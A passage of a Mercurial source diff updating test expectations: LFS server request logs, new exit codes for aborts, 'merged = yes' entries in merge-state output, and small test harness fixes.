x-hgarg-1:bookmarks=1&bundlecaps=HG20%2Cbundle2%3DHG20%250Abookmarks%250Achangegroup%253D01%252C02%252C03%250Acheckheads%253Drelated%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps%250Astream%253Dv2&cg=1&common=0000000000000000000000000000000000000000&heads=525251863cad618e55d483555f3d00a2ca99597e&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=$USUAL_COMPRESSIONS$ partial-pull (glob) $LOCALIP - - [$LOGDATE$] "POST /.git/info/lfs/objects/batch HTTP/1.1" 200 - (glob) $LOCALIP - - [$LOGDATE$] "GET /?cmd=capabilities HTTP/1.1" 200 - (glob) $LOCALIP - - [$LOGDATE$] "GET /?cmd=batch HTTP/1.1" 200 - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D392c05922088bacf8e68a6939b480017afbf245d x-hgproto-1:0.1 0.2 comp=$USUAL_COMPRESSIONS$ partial-pull (glob) @@ -332,7 +330,7 @@ $LOCALIP - - [$LOGDATE$] "PUT /.hg/lfs/objects/b5bb9d8014a0f9b1d61e21e796d78dccdf1352f23cd32812f4850b878ae4944c HTTP/1.1" 422 - (glob) $LOCALIP - - [$LOGDATE$] "GET /?cmd=capabilities HTTP/1.1" 200 - (glob) $LOCALIP - - [$LOGDATE$] "GET /?cmd=batch HTTP/1.1" 200 - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D392c05922088bacf8e68a6939b480017afbf245d x-hgproto-1:0.1 0.2 comp=$USUAL_COMPRESSIONS$ partial-pull (glob) - $LOCALIP - - [$LOGDATE$] "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bookmarks=1&bundlecaps=HG20%2Cbundle2%3DHG20%250Abookmarks%250Achangegroup%253D01%252C02%252C03%250Acheckheads%253Drelated%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps%250Arev-branch-cache%250Astream%253Dv2&cg=1&common=525251863cad618e55d483555f3d00a2ca99597e&heads=506bf3d83f78c54b89e81c6411adee19fdf02156+525251863cad618e55d483555f3d00a2ca99597e&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=$USUAL_COMPRESSIONS$ partial-pull (glob) + $LOCALIP - - [$LOGDATE$] "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bookmarks=1&bundlecaps=HG20%2Cbundle2%3DHG20%250Abookmarks%250Achangegroup%253D01%252C02%252C03%250Acheckheads%253Drelated%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps%250Astream%253Dv2&cg=1&common=525251863cad618e55d483555f3d00a2ca99597e&heads=506bf3d83f78c54b89e81c6411adee19fdf02156+525251863cad618e55d483555f3d00a2ca99597e&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=$USUAL_COMPRESSIONS$ partial-pull (glob) $LOCALIP - - [$LOGDATE$] "POST /.git/info/lfs/objects/batch HTTP/1.1" 200 - (glob) $LOCALIP - - [$LOGDATE$] "GET /.hg/lfs/objects/276f73cfd75f9fb519810df5f5d96d6594ca2521abd86cbcd92122f7d51a1f3d HTTP/1.1" 500 - (glob) $LOCALIP - - [$LOGDATE$] "POST /.git/info/lfs/objects/batch HTTP/1.1" 200 - (glob) @@ -483,7 +481,7 @@ $LOCALIP - - [$LOGDATE$] "GET /?cmd=capabilities HTTP/1.1" 401 - (glob) $LOCALIP - - [$LOGDATE$] "GET /?cmd=capabilities HTTP/1.1" 200 - (glob) $LOCALIP - - [$LOGDATE$] "GET /?cmd=batch HTTP/1.1" 200 - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D x-hgproto-1:0.1 0.2 comp=$USUAL_COMPRESSIONS$ partial-pull (glob) - $LOCALIP - - [$LOGDATE$] "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bookmarks=1&bundlecaps=HG20%2Cbundle2%3DHG20%250Abookmarks%250Achangegroup%253D01%252C02%252C03%250Acheckheads%253Drelated%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps%250Arev-branch-cache%250Astream%253Dv2&cg=1&common=0000000000000000000000000000000000000000&heads=506bf3d83f78c54b89e81c6411adee19fdf02156+525251863cad618e55d483555f3d00a2ca99597e&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=$USUAL_COMPRESSIONS$ partial-pull (glob) + $LOCALIP - - [$LOGDATE$] "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bookmarks=1&bundlecaps=HG20%2Cbundle2%3DHG20%250Abookmarks%250Achangegroup%253D01%252C02%252C03%250Acheckheads%253Drelated%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps%250Astream%253Dv2&cg=1&common=0000000000000000000000000000000000000000&heads=506bf3d83f78c54b89e81c6411adee19fdf02156+525251863cad618e55d483555f3d00a2ca99597e&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=$USUAL_COMPRESSIONS$ partial-pull (glob) $LOCALIP - - [$LOGDATE$] "POST /.git/info/lfs/objects/batch HTTP/1.1" 401 - (glob) $LOCALIP - - [$LOGDATE$] "POST /.git/info/lfs/objects/batch HTTP/1.1" 200 - (glob) $LOCALIP - - [$LOGDATE$] "GET /.hg/lfs/objects/276f73cfd75f9fb519810df5f5d96d6594ca2521abd86cbcd92122f7d51a1f3d HTTP/1.1" 200 - (glob) diff -r bc268ea9f984 -r f67b8946bb1b tests/test-lfs-serve.t --- a/tests/test-lfs-serve.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-lfs-serve.t Tue Apr 20 11:01:06 2021 -0400 @@ -293,7 +293,7 @@ requesting all changes remote: abort: no common changegroup version abort: pull failed on remote - [255] + [100] $ grep 'lfs' $TESTTMP/client4_pull/.hg/requires $SERVER_REQUIRES $TESTTMP/server/.hg/requires:lfs @@ -462,6 +462,7 @@ remote: adding manifests remote: adding file changes remote: added 1 changesets with 1 changes to 1 files + (sent 8 HTTP requests and * bytes; received * bytes in responses) (glob) (?) $ grep 'lfs' .hg/requires $SERVER_REQUIRES .hg/requires:lfs $TESTTMP/server/.hg/requires:lfs diff -r bc268ea9f984 -r f67b8946bb1b tests/test-lfs-test-server.t --- a/tests/test-lfs-test-server.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-lfs-test-server.t Tue Apr 20 11:01:06 2021 -0400 @@ -17,7 +17,7 @@ #endif #if no-windows git-server - $ lfs-test-server &> lfs-server.log & + $ lfs-test-server > lfs-server.log 2>&1 & $ echo $! >> $DAEMON_PIDS #endif @@ -40,6 +40,8 @@ #endif $ cat >> $HGRCPATH < [ui] + > paginate=no > [experimental] > lfs.worker-enable = False > [extensions] @@ -113,7 +115,7 @@ Status: 200 (git-server !) Status: 201 (hg-server !) Content-Length: 0 - Content-Type: text/plain; charset=utf-8 + Content-Type: text/plain; charset=utf-8 (hg-server !) Date: $HTTP_DATE$ Server: testing stub value (hg-server !) lfs: processed: 31cf46fbc4ecd458a0943c5b4881f1f5a6dd36c53d6167d5b69ac45149b38e5b @@ -277,7 +279,7 @@ Status: 200 (git-server !) Status: 201 (hg-server !) Content-Length: 0 - Content-Type: text/plain; charset=utf-8 + Content-Type: text/plain; charset=utf-8 (hg-server !) Date: $HTTP_DATE$ Server: testing stub value (hg-server !) lfs: processed: 37a65ab78d5ecda767e8622c248b5dbff1e68b1678ab0e730d5eb8601ec8ad19 @@ -285,7 +287,7 @@ Status: 200 (git-server !) Status: 201 (hg-server !) Content-Length: 0 - Content-Type: text/plain; charset=utf-8 + Content-Type: text/plain; charset=utf-8 (hg-server !) Date: $HTTP_DATE$ Server: testing stub value (hg-server !) lfs: processed: d11e1a642b60813aee592094109b406089b8dff4cb157157f753418ec7857998 @@ -888,7 +890,7 @@ $ mkdir $TESTTMP/lfs-server2 $ cd $TESTTMP/lfs-server2 #if no-windows git-server - $ lfs-test-server &> lfs-server.log & + $ lfs-test-server > lfs-server.log 2>&1 & $ echo $! >> $DAEMON_PIDS #endif diff -r bc268ea9f984 -r f67b8946bb1b tests/test-log.t --- a/tests/test-log.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-log.t Tue Apr 20 11:01:06 2021 -0400 @@ -2001,6 +2001,26 @@ @@ -0,0 +1,1 @@ +b + +Test that diff.merge is respected (file b was added on one side and +and therefore merged cleanly) + + $ hg log -pr 3 --config diff.merge=yes + changeset: 3:8e07aafe1edc + tag: tip + parent: 2:b09be438c43a + parent: 1:925d80f479bb + user: test + date: Thu Jan 01 00:00:00 1970 +0000 + summary: 3 + + diff -r 8e07aafe1edc a + --- a/a Thu Jan 01 00:00:00 1970 +0000 + +++ b/a Thu Jan 01 00:00:00 1970 +0000 + @@ -1,1 +1,1 @@ + -b + +c + $ cd .. 'hg log -r rev fn' when last(filelog(fn)) != rev diff -r bc268ea9f984 -r f67b8946bb1b tests/test-mactext.t --- a/tests/test-mactext.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-mactext.t Tue Apr 20 11:01:06 2021 -0400 @@ -27,7 +27,7 @@ transaction abort! rollback completed abort: pretxncommit.cr hook failed - [255] + [40] $ hg cat f | f --hexdump 0000: 68 65 6c 6c 6f 0a |hello.| diff -r bc268ea9f984 -r f67b8946bb1b tests/test-manifest.py --- a/tests/test-manifest.py Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-manifest.py Tue Apr 20 11:01:06 2021 -0400 @@ -6,6 +6,8 @@ import unittest import zlib +from mercurial.node import sha1nodeconstants + from mercurial import ( manifest as manifestmod, match as matchmod, @@ -436,7 +438,7 @@ class testtreemanifest(unittest.TestCase, basemanifesttests): def parsemanifest(self, text): - return manifestmod.treemanifest(b'', text) + return manifestmod.treemanifest(sha1nodeconstants, b'', text) def testWalkSubtrees(self): m = self.parsemanifest(A_DEEPER_MANIFEST) diff -r bc268ea9f984 -r f67b8946bb1b tests/test-merge-changedelete.t --- a/tests/test-merge-changedelete.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-merge-changedelete.t Tue Apr 20 11:01:06 2021 -0400 @@ -96,17 +96,20 @@ other path: file1 (node 0000000000000000000000000000000000000000) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff extra: merge-removal-candidate = yes + extra: merged = yes file: file2 (state "u") local path: file2 (hash 0000000000000000000000000000000000000000, flags "") ancestor path: file2 (node 5d9299349fc01ddd25d0070d149b124d8f10411e) other path: file2 (node e7c1328648519852e723de86c0c0525acd779257) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff extra: merge-removal-candidate = yes + extra: merged = yes file: file3 (state "u") local path: file3 (hash d5b0a58bc47161b1b8a831084b366f757c4f0b11, flags "") ancestor path: file3 (node 2661d26c649684b482d10f91960cc3db683c38b4) other path: file3 (node a2644c43e210356772c7772a8674544a62e06beb) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff + extra: merged = yes --- file1 --- 1 changed @@ -163,17 +166,20 @@ other path: file1 (node 0000000000000000000000000000000000000000) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff extra: merge-removal-candidate = yes + extra: merged = yes file: file2 (state "r") local path: file2 (hash 0000000000000000000000000000000000000000, flags "") ancestor path: file2 (node 5d9299349fc01ddd25d0070d149b124d8f10411e) other path: file2 (node e7c1328648519852e723de86c0c0525acd779257) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff extra: merge-removal-candidate = yes + extra: merged = yes file: file3 (state "u") local path: file3 (hash d5b0a58bc47161b1b8a831084b366f757c4f0b11, flags "") ancestor path: file3 (node 2661d26c649684b482d10f91960cc3db683c38b4) other path: file3 (node a2644c43e210356772c7772a8674544a62e06beb) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff + extra: merged = yes --- file1 --- 1 changed @@ -243,17 +249,20 @@ other path: file1 (node 0000000000000000000000000000000000000000) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff extra: merge-removal-candidate = yes + extra: merged = yes file: file2 (state "r") local path: file2 (hash 0000000000000000000000000000000000000000, flags "") ancestor path: file2 (node 5d9299349fc01ddd25d0070d149b124d8f10411e) other path: file2 (node e7c1328648519852e723de86c0c0525acd779257) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff extra: merge-removal-candidate = yes + extra: merged = yes file: file3 (state "u") local path: file3 (hash d5b0a58bc47161b1b8a831084b366f757c4f0b11, flags "") ancestor path: file3 (node 2661d26c649684b482d10f91960cc3db683c38b4) other path: file3 (node a2644c43e210356772c7772a8674544a62e06beb) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff + extra: merged = yes *** file1 does not exist --- file2 --- 2 @@ -307,17 +316,20 @@ other path: file1 (node 0000000000000000000000000000000000000000) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff extra: merge-removal-candidate = yes + extra: merged = yes file: file2 (state "u") local path: file2 (hash 0000000000000000000000000000000000000000, flags "") ancestor path: file2 (node 5d9299349fc01ddd25d0070d149b124d8f10411e) other path: file2 (node e7c1328648519852e723de86c0c0525acd779257) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff extra: merge-removal-candidate = yes + extra: merged = yes file: file3 (state "u") local path: file3 (hash d5b0a58bc47161b1b8a831084b366f757c4f0b11, flags "") ancestor path: file3 (node 2661d26c649684b482d10f91960cc3db683c38b4) other path: file3 (node a2644c43e210356772c7772a8674544a62e06beb) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff + extra: merged = yes *** file1 does not exist --- file2 --- 2 @@ -358,17 +370,20 @@ other path: file1 (node 0000000000000000000000000000000000000000) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff extra: merge-removal-candidate = yes + extra: merged = yes file: file2 (state "r") local path: file2 (hash 0000000000000000000000000000000000000000, flags "") ancestor path: file2 (node 5d9299349fc01ddd25d0070d149b124d8f10411e) other path: file2 (node e7c1328648519852e723de86c0c0525acd779257) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff extra: merge-removal-candidate = yes + extra: merged = yes file: file3 (state "r") local path: file3 (hash d5b0a58bc47161b1b8a831084b366f757c4f0b11, flags "") ancestor path: file3 (node 2661d26c649684b482d10f91960cc3db683c38b4) other path: file3 (node a2644c43e210356772c7772a8674544a62e06beb) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff + extra: merged = yes --- file1 --- 1 changed @@ -405,17 +420,20 @@ other path: file1 (node 0000000000000000000000000000000000000000) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff extra: merge-removal-candidate = yes + extra: merged = yes file: file2 (state "r") local path: file2 (hash 0000000000000000000000000000000000000000, flags "") ancestor path: file2 (node 5d9299349fc01ddd25d0070d149b124d8f10411e) other path: file2 (node e7c1328648519852e723de86c0c0525acd779257) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff extra: merge-removal-candidate = yes + extra: merged = yes file: file3 (state "r") local path: file3 (hash d5b0a58bc47161b1b8a831084b366f757c4f0b11, flags "") ancestor path: file3 (node 2661d26c649684b482d10f91960cc3db683c38b4) other path: file3 (node a2644c43e210356772c7772a8674544a62e06beb) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff + extra: merged = yes *** file1 does not exist --- file2 --- 2 @@ -453,17 +471,20 @@ other path: file1 (node 0000000000000000000000000000000000000000) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff extra: merge-removal-candidate = yes + extra: merged = yes file: file2 (state "u") local path: file2 (hash 0000000000000000000000000000000000000000, flags "") ancestor path: file2 (node 5d9299349fc01ddd25d0070d149b124d8f10411e) other path: file2 (node e7c1328648519852e723de86c0c0525acd779257) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff extra: merge-removal-candidate = yes + extra: merged = yes file: file3 (state "u") local path: file3 (hash d5b0a58bc47161b1b8a831084b366f757c4f0b11, flags "") ancestor path: file3 (node 2661d26c649684b482d10f91960cc3db683c38b4) other path: file3 (node a2644c43e210356772c7772a8674544a62e06beb) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff + extra: merged = yes --- file1 --- 1 changed @@ -512,17 +533,20 @@ other path: file1 (node 0000000000000000000000000000000000000000) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff extra: merge-removal-candidate = yes + extra: merged = yes file: file2 (state "u") local path: file2 (hash 0000000000000000000000000000000000000000, flags "") ancestor path: file2 (node 5d9299349fc01ddd25d0070d149b124d8f10411e) other path: file2 (node e7c1328648519852e723de86c0c0525acd779257) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff extra: merge-removal-candidate = yes + extra: merged = yes file: file3 (state "u") local path: file3 (hash d5b0a58bc47161b1b8a831084b366f757c4f0b11, flags "") ancestor path: file3 (node 2661d26c649684b482d10f91960cc3db683c38b4) other path: file3 (node a2644c43e210356772c7772a8674544a62e06beb) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff + extra: merged = yes --- file1 --- 1 changed @@ -573,17 +597,20 @@ other path: file1 (node 0000000000000000000000000000000000000000) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff extra: merge-removal-candidate = yes + extra: merged = yes file: file2 (state "u") local path: file2 (hash 0000000000000000000000000000000000000000, flags "") ancestor path: file2 (node 5d9299349fc01ddd25d0070d149b124d8f10411e) other path: file2 (node e7c1328648519852e723de86c0c0525acd779257) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff extra: merge-removal-candidate = yes + extra: merged = yes file: file3 (state "u") local path: file3 (hash d5b0a58bc47161b1b8a831084b366f757c4f0b11, flags "") ancestor path: file3 (node 2661d26c649684b482d10f91960cc3db683c38b4) other path: file3 (node a2644c43e210356772c7772a8674544a62e06beb) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff + extra: merged = yes --- file1 --- 1 changed @@ -631,17 +658,20 @@ other path: file1 (node 0000000000000000000000000000000000000000) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff extra: merge-removal-candidate = yes + extra: merged = yes file: file2 (state "u") local path: file2 (hash 0000000000000000000000000000000000000000, flags "") ancestor path: file2 (node 5d9299349fc01ddd25d0070d149b124d8f10411e) other path: file2 (node e7c1328648519852e723de86c0c0525acd779257) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff extra: merge-removal-candidate = yes + extra: merged = yes file: file3 (state "u") local path: file3 (hash d5b0a58bc47161b1b8a831084b366f757c4f0b11, flags "") ancestor path: file3 (node 2661d26c649684b482d10f91960cc3db683c38b4) other path: file3 (node a2644c43e210356772c7772a8674544a62e06beb) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff + extra: merged = yes --- file1 --- 1 changed @@ -801,11 +831,13 @@ ancestor path: file1 (node b8e02f6433738021a065f94175c7cd23db5f05be) other path: file1 (node 0000000000000000000000000000000000000000) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff + extra: merged = yes file: file2 (state "u") local path: file2 (hash 0000000000000000000000000000000000000000, flags "") ancestor path: file2 (node 5d9299349fc01ddd25d0070d149b124d8f10411e) other path: file2 (node e7c1328648519852e723de86c0c0525acd779257) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff + extra: merged = yes --- file1 --- 1 changed @@ -840,11 +872,13 @@ ancestor path: file1 (node b8e02f6433738021a065f94175c7cd23db5f05be) other path: file1 (node 0000000000000000000000000000000000000000) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff + extra: merged = yes file: file2 (state "r") local path: file2 (hash 0000000000000000000000000000000000000000, flags "") ancestor path: file2 (node 5d9299349fc01ddd25d0070d149b124d8f10411e) other path: file2 (node e7c1328648519852e723de86c0c0525acd779257) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff + extra: merged = yes --- file1 --- 1 changed @@ -877,11 +911,13 @@ ancestor path: file1 (node b8e02f6433738021a065f94175c7cd23db5f05be) other path: file1 (node 0000000000000000000000000000000000000000) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff + extra: merged = yes file: file2 (state "r") local path: file2 (hash 0000000000000000000000000000000000000000, flags "") ancestor path: file2 (node 5d9299349fc01ddd25d0070d149b124d8f10411e) other path: file2 (node e7c1328648519852e723de86c0c0525acd779257) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff + extra: merged = yes *** file1 does not exist --- file2 --- 2 @@ -916,11 +952,13 @@ ancestor path: file1 (node b8e02f6433738021a065f94175c7cd23db5f05be) other path: file1 (node 0000000000000000000000000000000000000000) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff + extra: merged = yes file: file2 (state "u") local path: file2 (hash 0000000000000000000000000000000000000000, flags "") ancestor path: file2 (node 5d9299349fc01ddd25d0070d149b124d8f10411e) other path: file2 (node e7c1328648519852e723de86c0c0525acd779257) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff + extra: merged = yes --- file1 --- 1 changed @@ -963,11 +1001,13 @@ ancestor path: file1 (node b8e02f6433738021a065f94175c7cd23db5f05be) other path: file1 (node 0000000000000000000000000000000000000000) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff + extra: merged = yes file: file2 (state "u") local path: file2 (hash 0000000000000000000000000000000000000000, flags "") ancestor path: file2 (node 5d9299349fc01ddd25d0070d149b124d8f10411e) other path: file2 (node e7c1328648519852e723de86c0c0525acd779257) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff + extra: merged = yes --- file1 --- 1 changed @@ -1011,11 +1051,13 @@ ancestor path: file1 (node b8e02f6433738021a065f94175c7cd23db5f05be) other path: file1 (node 0000000000000000000000000000000000000000) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff + extra: merged = yes file: file2 (state "u") local path: file2 (hash 0000000000000000000000000000000000000000, flags "") ancestor path: file2 (node 5d9299349fc01ddd25d0070d149b124d8f10411e) other path: file2 (node e7c1328648519852e723de86c0c0525acd779257) extra: ancestorlinknode = ab57bf49aa276a22d35a473592d4c34b5abc3eff + extra: merged = yes --- file1 --- 1 changed diff -r bc268ea9f984 -r f67b8946bb1b tests/test-merge-criss-cross.t --- a/tests/test-merge-criss-cross.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-merge-criss-cross.t Tue Apr 20 11:01:06 2021 -0400 @@ -540,6 +540,7 @@ other path: the-file (node 59e363a07dc876278f0e41756236f30213b6b460) extra: ancestorlinknode = 955800955977bd6c103836ee3e437276e940a589 extra: merge-removal-candidate = yes + extra: merged = yes extra: other-file (filenode-source = other) $ hg ci -m "merge-deleting-the-file-from-deleted" $ hg manifest @@ -563,6 +564,7 @@ other path: the-file (node 0000000000000000000000000000000000000000) extra: ancestorlinknode = 955800955977bd6c103836ee3e437276e940a589 extra: merge-removal-candidate = yes + extra: merged = yes $ hg ci -m "merge-deleting-the-file-from-updated" created new head $ hg manifest @@ -586,6 +588,7 @@ other path: the-file (node 59e363a07dc876278f0e41756236f30213b6b460) extra: ancestorlinknode = 955800955977bd6c103836ee3e437276e940a589 extra: merge-removal-candidate = yes + extra: merged = yes extra: other-file (filenode-source = other) $ hg ci -m "merge-keeping-the-file-from-deleted" created new head @@ -614,6 +617,7 @@ other path: the-file (node 0000000000000000000000000000000000000000) extra: ancestorlinknode = 955800955977bd6c103836ee3e437276e940a589 extra: merge-removal-candidate = yes + extra: merged = yes $ hg ci -m "merge-keeping-the-file-from-updated" created new head $ hg manifest @@ -695,6 +699,7 @@ other path: the-file (node 885af55420b35d7bf3bbd6f546615295bfe6544a) extra: ancestorlinknode = 9b610631ab29024c5f44af7d2c19658ef8f8f071 extra: merge-removal-candidate = yes + extra: merged = yes #else $ hg debugmergestate local (working copy): adfd88e5d7d3d3e22bdd26512991ee64d59c1d8f @@ -763,6 +768,7 @@ other path: the-file (node 885af55420b35d7bf3bbd6f546615295bfe6544a) extra: ancestorlinknode = 9b610631ab29024c5f44af7d2c19658ef8f8f071 extra: merge-removal-candidate = yes + extra: merged = yes #else $ hg debugmergestate local (working copy): a4e0e44229dc130be2915b92c957c093f8c7ee3e @@ -886,6 +892,7 @@ other path: the-file (node 0000000000000000000000000000000000000000) extra: ancestorlinknode = 9b610631ab29024c5f44af7d2c19658ef8f8f071 extra: merge-removal-candidate = yes + extra: merged = yes #else $ hg debugmergestate local (working copy): e9b7081317232edce73f7ad5ae0b7807ff5c326a @@ -923,6 +930,7 @@ other path: the-file (node 0000000000000000000000000000000000000000) extra: ancestorlinknode = 9b610631ab29024c5f44af7d2c19658ef8f8f071 extra: merge-removal-candidate = yes + extra: merged = yes #else $ hg debugmergestate local (working copy): e9b7081317232edce73f7ad5ae0b7807ff5c326a diff -r bc268ea9f984 -r f67b8946bb1b tests/test-merge-remove.t --- a/tests/test-merge-remove.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-merge-remove.t Tue Apr 20 11:01:06 2021 -0400 @@ -95,7 +95,7 @@ $ hg merge bar: untracked file differs abort: untracked files in working directory differ from files in requested revision - [255] + [20] $ cat bar memories of buried pirate treasure diff -r bc268ea9f984 -r f67b8946bb1b tests/test-merge-subrepos.t --- a/tests/test-merge-subrepos.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-merge-subrepos.t Tue Apr 20 11:01:06 2021 -0400 @@ -117,10 +117,17 @@ 1 files updated, 0 files merged, 0 files removed, 0 files unresolved XXX: There's a difference between wdir() and '.', so there should be a status. -`hg files -S` from the top is also missing 'subrepo/b'. +`hg files -S` from the top is also missing 'subrepo/b'. The files should be +seen as deleted (and, maybe even missing? in which case `hg files` should list +it) $ hg st -S + R subrepo/b (missing-correct-output !) $ hg st -R subrepo + R subrepo/b (missing-correct-output !) + +(note: return [1] because no files "match" since the list is empty) + $ hg files -R subrepo [1] $ hg files -R subrepo -r '.' diff -r bc268ea9f984 -r f67b8946bb1b tests/test-merge-tools.t --- a/tests/test-merge-tools.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-merge-tools.t Tue Apr 20 11:01:06 2021 -0400 @@ -377,7 +377,7 @@ merging f some fail message abort: $TESTTMP/mybrokenmerge.py hook failed - [255] + [40] $ aftermerge # cat f revision 1 @@ -1921,7 +1921,7 @@ Binary files capability checking $ hg update -q -C 0 - $ python < with open('b', 'wb') as fp: > fp.write(b'\x00\x01\x02\x03') > EOF @@ -1929,7 +1929,7 @@ $ hg commit -qm "add binary file (#1)" $ hg update -q -C 0 - $ python < with open('b', 'wb') as fp: > fp.write(b'\x03\x02\x01\x00') > EOF diff -r bc268ea9f984 -r f67b8946bb1b tests/test-merge1.t --- a/tests/test-merge1.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-merge1.t Tue Apr 20 11:01:06 2021 -0400 @@ -113,7 +113,7 @@ $ hg merge 1 b: untracked file differs abort: untracked files in working directory differ from files in requested revision - [255] + [20] #if symlink symlinks to directories should be treated as regular files (issue5027) @@ -122,7 +122,7 @@ $ hg merge 1 b: untracked file differs abort: untracked files in working directory differ from files in requested revision - [255] + [20] symlinks shouldn't be followed $ rm b $ echo This is file b1 > .hg/b @@ -130,7 +130,7 @@ $ hg merge 1 b: untracked file differs abort: untracked files in working directory differ from files in requested revision - [255] + [20] $ rm b $ echo This is file b2 > b @@ -144,7 +144,7 @@ $ hg merge 1 --config merge.checkunknown=abort b: untracked file differs abort: untracked files in working directory differ from files in requested revision - [255] + [20] this merge should warn $ hg merge 1 --config merge.checkunknown=warn @@ -188,7 +188,7 @@ $ hg merge 3 --config merge.checkignored=ignore --config merge.checkunknown=abort remoteignored: untracked file differs abort: untracked files in working directory differ from files in requested revision - [255] + [20] $ hg merge 3 --config merge.checkignored=abort --config merge.checkunknown=ignore merging .hgignore merging for .hgignore @@ -210,15 +210,15 @@ b: untracked file differs localignored: untracked file differs abort: untracked files in working directory differ from files in requested revision - [255] + [20] $ hg merge 3 --config merge.checkignored=abort --config merge.checkunknown=ignore localignored: untracked file differs abort: untracked files in working directory differ from files in requested revision - [255] + [20] $ hg merge 3 --config merge.checkignored=warn --config merge.checkunknown=abort b: untracked file differs abort: untracked files in working directory differ from files in requested revision - [255] + [20] $ hg merge 3 --config merge.checkignored=warn --config merge.checkunknown=warn b: replacing untracked file localignored: replacing untracked file diff -r bc268ea9f984 -r f67b8946bb1b tests/test-minirst.py --- a/tests/test-minirst.py Thu Mar 25 